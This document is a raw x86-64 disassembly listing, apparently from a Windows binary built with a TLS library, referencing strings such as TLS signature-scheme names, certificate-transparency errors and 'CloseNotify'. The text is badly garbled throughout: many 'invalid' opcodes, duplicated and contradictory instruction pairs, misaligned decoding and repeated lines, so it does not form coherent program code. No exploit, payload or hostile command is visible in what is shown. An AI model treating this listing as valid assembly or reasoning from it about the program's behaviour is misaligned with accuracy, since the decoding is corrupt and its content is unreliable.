add rcx, 8
ror dword [rax], 0xe9
adc byte [rax], al
jmp fcn.1a7f1b9ae68
add byte [rax], al
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov rcx, rax
jmp fcn.1a7f1b9c051
add byte [rax], al
push rsi
lea esi, [rsi + 8]
jmp 0x1a7f1b9ae84
adc cl, byte [rcx - 0x75]
mov ecx, dword [rsi - 8]
clc
test eax, eax
imul eax, eax, 0x18
cli
call qword [rax + 0x28c48348]
add esp, 0x28
add esp, 0x28
push rdi
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
mov rsi, rdx
mov rdi, rcx
iretd
add rdi, 8
iretd
sub rsi, 1
jb 0x1a7f1b9aeed
adc cl, byte [rax - 0x75]
clc
mov rcx, qword [rdi - 8]
mov ecx, dword [rdi - 8]
mov rdx, qword [rdi]
mov edx, dword [rdi]
call fcn.1a7f1bce24f
add rdi, 0x20
add edi, 0x20
add edi, 0x20
jmp 0x1a7f1b9aed5
add rsp, 0x28
pop rdi
pop rsi
ret
sub esp, 0x28
in al, dx
sub byte [rax - 0x77], cl
invalid
clc
mov edx, dword [rdi]
invalid
add eax, dword [rax]
add byte [rax - 0x7d], cl
invalid
int3
int3
int3
int3
movabs rax, 0xc1a2c89ccd1e7bc1
movabs rdx, 0xfdbc168100b1ef64
out dx, eax
mov cl, 0
invalid
invalid
invalid
std
ret
invalid
pushfq
enter 0xffffffffffffc1a2, 0x48
invalid
ror dword [rax - 0x46], 0x64
out dx, eax
mov cl, 0
movabs byte [0x8100b1ef64ba48c1], al
invalid
out dx, eax
mov cl, 0
adc dword [rsi], 0x48c3fdbc
sub esp, 0x28
add byte [rax], al
add byte [rdi], cl
or ecx, dword [rax - 0x7d]
in al, dx
movups xmm0, xmmword [rcx]
adc byte [rcx], al
adc byte [rcx], al
add dword [rax - 0x73], ecx
lea rax, [rsp + 0x38]
and al, 0x38
movups xmmword [rax], xmm0
mov r9, qword [rcx + 0x10]
mov byte [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
and al, 0x20
invalid
and al, 0x20
add dword [rax - 0x73], ecx
lea rdx, [0x1a7f1c593c0]
lea rdx, [0x1a7f1c593c0]
mov rcx, rax
xor r8d, r8d
call case.0x1a7f1bc5d7e.130
ud2
invalid
or edx, dword [rsi + 0x57]
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x75], cl
xor dword [rax - 0x75], ecx
jns 0x1a7f1b9af96
mov rsi, qword [rcx]
mov rdi, qword [rcx + 8]
and qword [rcx], 0
test rsi, rsi
invalid
je 0x1a7f1b9afbb
div byte [rsp - 0x47]
and al, 0xb9
mov ecx, 0x10
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 8], bh
mov edx, 8
call fcn.1a7f1bd765f
mov byte [rbx], 0
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov dword [rax + 8], edi
mov dword [rax + 8], edi
lea rdx, [0x1a7f1c597d8]
lea edx, [0x1a7f1c597d8]
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 7
int 0x29
sub dword [rdi], ecx
invalid
sub dword [rdi], ecx
or edx, dword [rax + 0x48]
cmp dword [rcx], 0
cmp dword [rax], eax
cmp dword [rax], eax
je 0x1a7f1b9afd7
mov rax, rcx
mov eax, ecx
lea rdx, [0x1a7f1c597d8]
pop rcx
ret
mov ecx, 7
int 0x29
ud2
add byte [rax], al
add ch, cl
sub dword [rdi], ecx
or ecx, dword [rax - 0x77]
mov rax, rcx
mov rcx, rdx
mov ecx, edx
mov ecx, edx
mov rdx, r8
mov r8, rax
jmp fcn.1a7f1bc50a0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rbx + 0x19], dh
invalid
add byte [rcx + 0x6e8c1c8], cl
enter 0xffffffffffffe8c1, 6
add byte [rax], al
add bl, ch
xor eax, ecx
call 0x1a7fdc0d476
invalid
add byte [rax], al
invalid
lea rsi, [rsp + 0x20]
mov qword [rsi], rcx
and qword [rsi + 8], 0
lea rdx, [0x1a7f1c59340]
mov rcx, rsi
call fcn.1a7f1b68880
lodsb al, byte [rsi]
xlatb
cld
dec dword [rcx + 0x468b48c1]
invalid
test cl, cl
je 0x1a7f1b9b0ec
invalid
lodsb al, byte [rsi]
xlatb
cld
dec dword [rcx + 0x468b48c1]
or byte [rcx + rcx*8 - 0x7ab7f18c], al
invalid
test rax, rax
jne 0x1a7f1b9b0f9
lea rsi, str.formatter_error
invalid
test rax, rax
jne 0x1a7f1b9b0f9
lea rsi, str.formatter_error
invalid
jmp 0x1a7f1b9b0ee
xor esi, esi
mov rcx, rax
call fcn.1a7f1bbe249
add byte [rax - 0x77], cl
invalid
add byte [rax - 0x77], cl
invalid
add rsp, 0x30
pop rsi
ret
mov ecx, dword [rcx + 8]
jmp fcn.1a7f1bbe249
mov ecx, dword [rcx]
add r8, rdx
add eax, edx
call fcn.1a7f1b8f97c
xor eax, eax
ror byte [rax - 0x7d], 0xc4
sub bl, al
ror byte [rax - 0x7d], 0xc4
sub bl, al
push rsi
sub rsp, 0x30
mov eax, edx
mov rsi, rcx
lea rdx, [rsp + 0x2c]
and al, 0x2c
and dword [rdx], 0
mov ecx, eax
call case.0x1a7f1b75026.507
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.1a7f1b9b108
invalid
xor eax, eax
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rsi
ret
and al, 0xd7
cld
inc dword [rcx + 0x56]
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
mov rcx, rdx
sal dword [rcx], 1
shr al, cl
invalid
stosd dword [rdi], eax
invalid
invalid
sal dword [rcx], 1
shr al, cl
fsubr dword [rbx - 0x76b7fffb]
mov rbx, rax
mov rbx, rax
mov r14, rdx
mov esi, edx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.1a7f1c22170
out 0x6f, eax
or byte [rax], al
mov ecx, 0x18
mov edx, 8
add byte [rdx + 8], bh
call fcn.1a7f1bd765f
mov qword [rax], rbx
mov qword [rax + 8], r14
jo 0x1a7f1b9b1a7
add byte [rax - 0x77], cl
sbb byte [rcx + rcx*4 + 0x70], cl
jo 0x1a7f1b9b1a7
mov qword [rax + 0x10], rsi
jo 0x1a7f1b9b1a7
mov qword [rax + 0x10], rsi
lea r8, [0x1a7f1c592e8]
add eax, 0xbe13e
loope 0x1a7f1b9b1b4
add byte [rcx - 0x3d76b7d9], dh
mov cl, 0x27
mov rdx, rax
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x1a7f1bc6f50
jmp fcn.1a7f1bc4b10
sub esp, 0x28
in al, dx
sub byte [rbx + 0x143b1405], cl
cmp edx, dword [rax + rax]
mov rcx, qword gs:[0x58]
mov eax, dword [0x1a7f1cdece0]
cmp edx, dword [rax + rax]
mov rcx, qword gs:[0x58]
and eax, 0x58
add byte [rax], al
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xb8], 0
jne case.0x1a7f1b923e2.302
add eax, 0xfd94f4e8
call fcn.1a7f1b746dc
xchg esp, eax
std
dec dword [rbx + 0x143af205]
add byte [rbp + 0x48], ah
mov eax, dword [0x1a7f1cdece0]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
add al, 0xc1
ror dword [rax - 0x73], 0x80
rol byte [rax], 0
add byte [rax], al
invalid
invalid
invalid
lea rax, [rax + 0xc0]
add al, 0
add byte [rax], al
add rsp, 0x28
ret
mov ecx, dword [rcx]
or dword [rbx + 0x10a83442], ecx
mov eax, dword [rdx + 0x34]
test al, 0x10
jne 0x1a7f1b699a0
mov esp, edi
cld
jmp [rax - 0x16fa8ae0]
invalid
invalid
test al, 0x20
jne 0x1a7f1b9b21e
invalid
add eax, 0xfd1362e9
jmp 0x1a7f1b6c580
adc edi, ebp
dec dword [rdi]
mov bh, 9
movzx ecx, word [rcx]
jmp 0x1a7f1b73180
push r15
push r14
push rsi
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x40
mov r14, r8
mov esi, eax
in al, dx
mov r14, r8
mov esi, eax
mov rsi, rdx
mov rdi, rcx
iretd
mov rcx, qword [r8 + 0x20]
mov rax, qword [r8 + 0x28]
invalid
invalid
invalid
iretd
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
lea rdx, [0x1a7f1c8adc0]
adc eax, 0xefb77
ja 0x1a7f1b9b242
invalid
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
lea rbx, [rsp + 0x30]
sbb byte [rax - 0x73], cl
pop rsp
and al, 0x30
mov qword [rbx], r14
mov dword [rbx], esi
xor ecx, dword [rax + 0x43c60843]
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
or dword [rax], eax
shl rsi, 2
out 2, al
lea r14, [0x1a7f1b9b2ae]
lea r15, [rsp + 0x28]
and al, 0x28
add byte [rax], al
add byte [rbp + rcx*4 + 0x7c], cl
and al, 0x28
sub byte [rax - 0x7b], cl
div byte [rbp + rbx + 0x48]
invalid
invalid
test rsi, rsi
je 0x1a7f1b9b293
invalid
sbb eax, 0x247c8948
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x28], edi
jl 0x1a7f1b9b29e
sub byte [rax - 0x7d], cl
add rdi, 4
mov rcx, rbx
mov ecx, ebx
mov dword [rax + rcx*2], 0x894cd989
cli
add al, 0x48
mov ecx, ebx
mov rdx, r15
mov r8, r14
invalid
call fcn.1a7f1b6cf90
add rsi, 0xfffffffffffffffc
invalid
cld
jmp case.0x1a7f1b91e8c.361
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov dl, byte [rsp + 0x38]
cmp al, ch
invalid
call fcn.1a7f1b6d0c0
nop
invalid
call qword [rax + 0x40c48348]
add rsp, 0x40
pop rbx
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
ret
or ecx, ebp
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
in al, dx
invalid
add byte [rax - 0x7d], cl
in al, dx
cmp byte [rdi], cl
movzx eax, word [rcx]
sub esp, 0x38
movzx eax, word [rcx]
lea r8, [0x1a7f1c9e9ec]
movsxd rax, dword [r8 + rax*4]
invalid
add al, 0x80
invalid
add rax, r8
add eax, eax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
invalid
invalid
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.RSA_PKCS1_SHA1ECDSA_SHA1_LegacyRSA_PKCS1_SHA256ECDSA_NISTP256_SHA256RSA_PKCS1_SHA384ECDSA_NISTP384_SHA384RSA_PKCS1_SHA512ECDSA_NISTP521_SHA512RSA_PSS_SHA256RSA_PSS_SHA384RSA_PSS_SHA512DisabledReadyAcceptedAcceptedFinishedRejected
adc eax, 0xc1270
adc eax, 0xc1270
adc cl, byte [rax + rax]
jmp case.0x1a7f1b91e8c.374
call 0x1a839b9b2e6
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c55e]
adc cl, byte [rax + rax]
sbb byte [rax - 0x73], cl
adc eax, 0xc1266
adc cl, byte [rax + rax]
mov r8d, 0x11
mov eax, 0x11
add byte [rax], al
add cl, ch
invalid
jmp 0x1a7f1b9b409
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c56f]
lea edx, [0x1a7f1c5c56f]
sbb byte [rax - 0x73], cl
lea edx, [0x1a7f1c5c56f]
adc eax, 0xc1259
jmp case.0x1a7f1b9b4b9.192
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c57f]
adc cl, byte [rax + rax]
sbb byte [rax - 0x73], cl
adc eax, 0xc1254
adc cl, byte [rax + rax]
or al, 0
jmp case.0x1a7f1b9a791.47
pop rbx
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c594]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c594]
lea edx, [0x1a7f1c5c594]
adc cl, byte [rax + rax]
or al, 0
jmp case.0x1a7f1b9b4b9.192
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c5a4]
lea edx, [0x1a7f1c5c5a4]
adc eax, 0xc124f
adc r9b, byte [r8 + r8]
jmp case.0x1a7f1b9a791.47
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c5b9]
or al, 0
sbb byte [rax - 0x73], cl
adc eax, 0xc124f
or al, 0
or al, 0
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
invalid
mov r8d, 0x10
mov eax, 0x10
add byte [rax], al
add cl, ch
jmp 0x1a7f1b9b409
mov rcx, qword [rdx + 0x20]
invalid
invalid
jmp 0x1a7f1b9b409
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc1241
lea rdx, [0x1a7f1c5c5c9]
lea edx, [0x1a7f1c5c5c9]
mov r8d, 0x15
jmp 0x1a7f1b9b409
invalid
jns 0x1a7f1b9b3d9
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc123b
adc cl, byte [rax + rax]
lea rdx, [0x1a7f1c5c5de]
lea edx, [0x1a7f1c5c5de]
adc cl, byte [rax + rax]
add bl, ch
sub byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
jmp case.0x1a7f1b91e8c.374
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c5ec]
lea edx, [0x1a7f1c5c5ec]
sbb byte [rax - 0x73], cl
lea edx, [0x1a7f1c5c5ec]
adc eax, 0xc1234
adc cl, byte [rax + rax]
add bl, ch
adc ecx, dword [rax - 0x75]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
jmp case.0x1a7f1b91e8c.374
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c5fa]
adc eax, 0xc122d
mov r8d, 0xe
jmp 0x1a7f1b9b409
invalid
add byte [rax], al
add bl, ch
xor al, 0x48
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc0d6c
sbb byte [rax - 0x73], cl
lea edx, [0x1a7f1c5c154]
adc eax, 0xc0d6c
mov r8d, 7
mov eax, 7
add byte [rax], al
add bl, ch
sbb dword [rax - 0x75], ecx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
jmp 0x1a7f1b9b409
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c15b]
adc eax, 0xc0d58
sbb byte [rax - 0x73], cl
adc eax, 0xc0d58
or eax, 0xb841000c
mov r8d, 5
add eax, 0x48000000
add esp, 0x38
invalid
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x38
invalid
cmp byte [rax - 1], cl
loopne 0x1a7f1b9b459
invalid
jmp rax
add rcx, 2
add ecx, 2
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rcx
or dword [rax - 0x73], ecx
add eax, 0xc10ad
or al, 0
lea rax, [0x1a7f1c5c4d0]
or al, 0
mov qword [rsp + 0x20], rax
lea rax, [0x1a7f1c5c160]
or eax, 0xb841000c
invalid
add byte [rax], al
invalid
or eax, 0xb841000c
mov eax, 7
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
mov rdx, rax
invalid
invalid
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.1a7f1b6d420
nop
loopne 0x1a7f1b9b45d
std
call qword [rax + 0x38c48348]
add rsp, 0x38
add rsp, 0x38
ret
or byte [rax - 0x75], cl
adc byte [rbx + rcx*4 + 0x42], cl
invalid
invalid
invalid
mov rax, qword [rax + 0x10]
mov r8, qword [rdx + 0x20]
mov eax, dword [rdx + 0x20]
and byte [rbx + r9*4 + 0x4a], cl
and byte [rbx + rcx*4 + 0x4a], cl
mov r9, qword [rdx + 0x28]
mov rdx, rax
sub byte [rax - 0x77], cl
ret 0xb0e9
invalid
mov edx, eax
jmp 0x1a7f1b6d610
mov al, 0x21
std
and ebp, edi
dec dword [rax - 0x75]
add dword [rdi], ecx
mov rax, qword [rcx]
movzx eax, byte [rax]
mov dh, 0
lea rcx, [0x1a7f1c9d830]
lea ecx, [0x1a7f1c9d830]
adc byte [rax], al
add byte [rbx + rcx*4 + 4], cl
mov r8, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
ror dword [rax - 0x73], 0xd
lea rcx, case.0x1a7f1b91e74.11
loopne 0x1a7f1b9b499
adc byte [rax], al
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
push rdx
invalid
mov edx, dword [rdx + 0x28]
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
mov r9, qword [rdx + 0x18]
mov ecx, dword [rdx + 0x18]
sbb byte [rax - 0x77], cl
mov rdx, rax
jmp r9
jmp rcx
ret 0xff49
jmp rcx
mov eax, dword [rcx]
movzx eax, byte [rax]
mov dh, 0
add dword [rdi], ecx
mov dh, 0
lea rcx, [0x1a7f1c9d880]
adc byte [rax], al
add byte [rbx + rcx*4 + 4], cl
ror dword [rax - 0x73], 0xd
or eax, 0x102402
mov rax, qword [rcx + rax*8]
mov r8, qword [rcx + rax*8]
lea rcx, str.MalformedSctInvalidSignatureTimestampInFutureUnsupportedSctVersionUnknownLog
or eax, 0x102402
adc byte [rax], al
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
mov r9, qword [rdx + 0x18]
invalid
invalid
mov r9, qword [rdx + 0x18]
mov rdx, rax
ret 0xff49
invalid
ret 0xff49
push r15
push r14
push rsi
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x40
mov r14, r8
mov rsi, rdx
mov rdi, rcx
mov rcx, qword [r8 + 0x20]
and byte [rcx - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0xef8e1
and byte [rcx - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0xef8e1
clc
invalid
mov r8d, 1
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x73], cl
pop rsp
and al, 0x30
push rax
sbb byte [rax - 0x73], cl
pop rsp
and al, 0x30
mov qword [rbx], r14
mov dword [rbx], esi
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
or dword [rax], eax
add rsi, rsi
lea r14, [0x1a7f1b9a617]
lea r15, [rsp + 0x28]
jl 0x1a7f1b9b529
invalid
jl 0x1a7f1b9b529
sub byte [rax - 0x7b], cl
div byte [rbp + rbx + 0x48]
je case.0x1a7f1b92a3e.302
mov qword [rsp + 0x28], rdi
test rsi, rsi
je case.0x1a7f1b92a3e.302
sbb eax, 0x247c8948
sub byte [rax - 0x7d], cl
mov dword [rdx], 0x4cd98948
mov edx, edi
mov qword [rsp + 0x28], rdi
add rdi, 2
mov rcx, rbx
mov rdx, r15
mov r8, r14
call fcn.1a7f1b6cf90
add rsi, 0xfffffffffffffffe
add esi, 0xfffffffe
add esi, 0xfffffffe
invalid
jmp case.0x1a7f1b91e8c.390
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov dl, byte [rsp + 0x38]
call fcn.1a7f1b6d0c0
std
call qword [rax + 0x40c48348]
std
call qword [rax + 0x40c48348]
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, qword [rcx]
mov ecx, dword [rcx]
jmp 0x1a7f1b9b54b
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r8, rdx
mov eax, edx
ror byte [rax - 0x75], 1
add dword [rax - 0x75], ecx
push rcx
mov rax, qword [rcx]
mov rdx, qword [rcx + 0x10]
adc byte [rax - 0x77], cl
shr ecx, 0x60
invalid
invalid
invalid
invalid
adc byte [rax - 0x77], cl
shr ecx, 0x60
invalid
invalid
invalid
mov ecx, eax
mov rax, rcx
mov r8d, 0x20
mov eax, 0x20
mov rcx, rdx
mov ecx, edx
mov rdx, rax
jmp fcn.1a7f1b9a3fe
sub byte [rax - 0x77], cl
iretd
mov ebx, dword [rcx + 0x10]
clc
clc
add byte [rcx - 0x7d], cl
invalid
mov eax, dword [rdi + 8]
sbb cl, byte [rcx - 0x3f]
loopne 0x1a7f1b9b5b5
or byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
int1
cli
call qword [rax + 0x28c48348]
invalid
invalid
invalid
sub esp, 0x40
in al, dx
mov r14, r8
mov r14, r8
mov rsi, rdx
mov rdi, rcx
mov rcx, qword [r8 + 0x20]
and byte [rcx - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0xef7cc
invalid
and byte [rcx - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0xef7cc
test dword [rsi], 0x1b84100
add byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
lea rbx, [rsp + 0x30]
add bh, bh
push rax
sbb byte [rax - 0x73], cl
pop rsp
and al, 0x30
mov qword [rbx], r14
xor ecx, dword [rax + 0x43c60843]
or dword [rax], eax
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
or dword [r8], eax
add rsi, rsi
lea r14, [0x1a7f1b9a774]
invalid
dec dword [rbp + rcx*4 + 0x7c]
lea edi, [rsp + 0x28]
invalid
lea edi, [rsp + 0x28]
test rsi, rsi
je 0x1a7f1b9b63d
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x28], edi
sub byte [rax - 0x7d], cl
mov dword [rdx], 0x4cd98948
mov rdx, r15
add rdi, 2
mov rcx, rbx
mov rdx, r15
cli
mov r8, r14
call fcn.1a7f1b6cf90
std
dec dword [rax - 0x7d]
invalid
invalid
jmp 0x1a7f1b9b61b
std
dec dword [rax - 0x7d]
invalid
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov dl, byte [rsp + 0x38]
and al, 0x38
call fcn.1a7f1b6d0c0
nop
add rsp, 0x40
add esp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov eax, dword [rcx]
mov rdx, qword [rcx + 8]
mov rcx, rax
invalid
add dword [rax - 0x75], ecx
push rcx
or byte [rax - 0x77], cl
shr ecx, 0xbc
sti
invalid
jmp 0x1a7f1b9b226
dec dword [rax - 0x7d]
in al, dx
cmp byte [rax - 0x75], cl
add dword [rdi], ecx
mov dh, 8
lea r8, [0x1a7f1c9ea24]
lea eax, [0x1a7f1c9ea24]
movsxd rcx, dword [r8 + rcx*4]
invalid
or al, 0x88
add rcx, r8
jmp rcx
sar edi, 0xe1
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xeec81
in al, dx
invalid
invalid
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, str.CloseNotify
in al, dx
invalid
jmp 0x1a7f1b9b826
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc0c14
or al, 0xc
invalid
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c5c2c3]
or al, 0xc
add cl, ch
test al, 1
add byte [rax], al
invalid
jmp case.0x1a7f1b9b2cb.35
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c2d4]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c5c2d4]
lea edx, [0x1a7f1c5c2d4]
jmp 0x1a7f1b9b8dd
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c2e0]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c5c2e0]
lea edx, [0x1a7f1c5c2e0]
add dword [rsp + rcx], ecx
add cl, ch
jge case.0x1a7f1b9b682.4
jmp 0x1a7f1b9b961
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc0bf9
lea rdx, [0x1a7f1c5c2f0]
lea edx, [0x1a7f1c5c2f0]
stc
or ecx, dword [rax + rax]
jmp 0x1a7f1b9b754
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c2fe]
or ecx, dword [rax + rax]
jmp 0x1a7f1b9b92e
sbb eax, 0x48000002
mov ecx, dword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c312]
adc eax, 0xc0bee
add cl, ch
jmp 0x1a7f1b9b961
cmp byte [rdx], al
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc0be6
invalid
sbb byte [rax - 0x73], cl
adc eax, 0xc0be6
invalid
add cl, ch
jmp case.0x1a7f1b9b48b.210
add word [rax], ax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc0bdb
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc0bdb
or ecx, dword [rax + rax]
add byte [rcx - 0x48], al
invalid
mov r8d, 0xe
mov eax, 0xe
add cl, ch
xchg edx, eax
jmp 0x1a7f1b9b9f1
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc0bcb
sbb byte [rax - 0x73], cl
adc eax, 0xc0bcb
add byte [rcx - 0x48], al
